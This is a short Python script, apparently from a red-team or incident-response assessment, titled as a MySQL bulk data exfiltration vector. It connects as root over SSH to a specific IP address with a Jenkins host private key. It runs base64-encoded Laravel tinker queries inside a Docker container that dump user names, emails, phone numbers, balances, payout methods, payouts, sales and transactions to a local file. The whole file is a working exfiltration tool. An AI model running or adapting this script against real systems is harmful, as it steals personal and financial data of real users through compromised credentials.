#!/usr/bin/env python3
"""VECTOR A — MySQL bulk data exfil (corrected column names)."""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===USERS_SAMPLE_100===";',
    '$u = DB::select("SELECT user_id, first_name, last_name, email, phone_number, country_code, confirmed_balance, pending_balance, active, created_at FROM users ORDER BY user_id DESC LIMIT 100");',
    'foreach($u as $r) { echo json_encode($r)."\n"; }',
    'echo "===USER_PAYOUT_METHODS_STRUCTURE===";',
    '$c = DB::select("DESCRIBE user_payout_methods"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===USER_PAYOUT_METHODS_SAMPLE_50===";',
    '$pm = DB::select("SELECT * FROM user_payout_methods LIMIT 50");',
    'foreach($pm as $r) { echo json_encode($r)."\n"; }',
    'echo "===PROCESSED_PAYOUTS_STRUCTURE===";',
    '$c = DB::select("DESCRIBE processed_payouts"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===PROCESSED_PAYOUTS_SAMPLE_50===";',
    '$pp = DB::select("SELECT * FROM processed_payouts ORDER BY id DESC LIMIT 50");',
    'foreach($pp as $r) { echo json_encode($r)."\n"; }',
    'echo "===SALES_STRUCTURE===";',
    '$c = DB::select("DESCRIBE sales"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===SALES_SAMPLE_50===";',
    '$s = DB::select("SELECT * FROM sales ORDER BY id DESC LIMIT 50");',
    'foreach($s as $r) { echo json_encode($r)."\n"; }',
    'echo "===BALANCE_TRANSACTIONS_SAMPLE_50===";',
    '$bt = DB::select("SELECT * FROM balance_transactions ORDER BY id DESC LIMIT 50");',
    'foreach($bt as $r) { echo json_encode($r)."\n"; }',
    'echo "===DONE===";',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/vector_a_mysql_exfil.txt", "w") as f:
        f.write(out)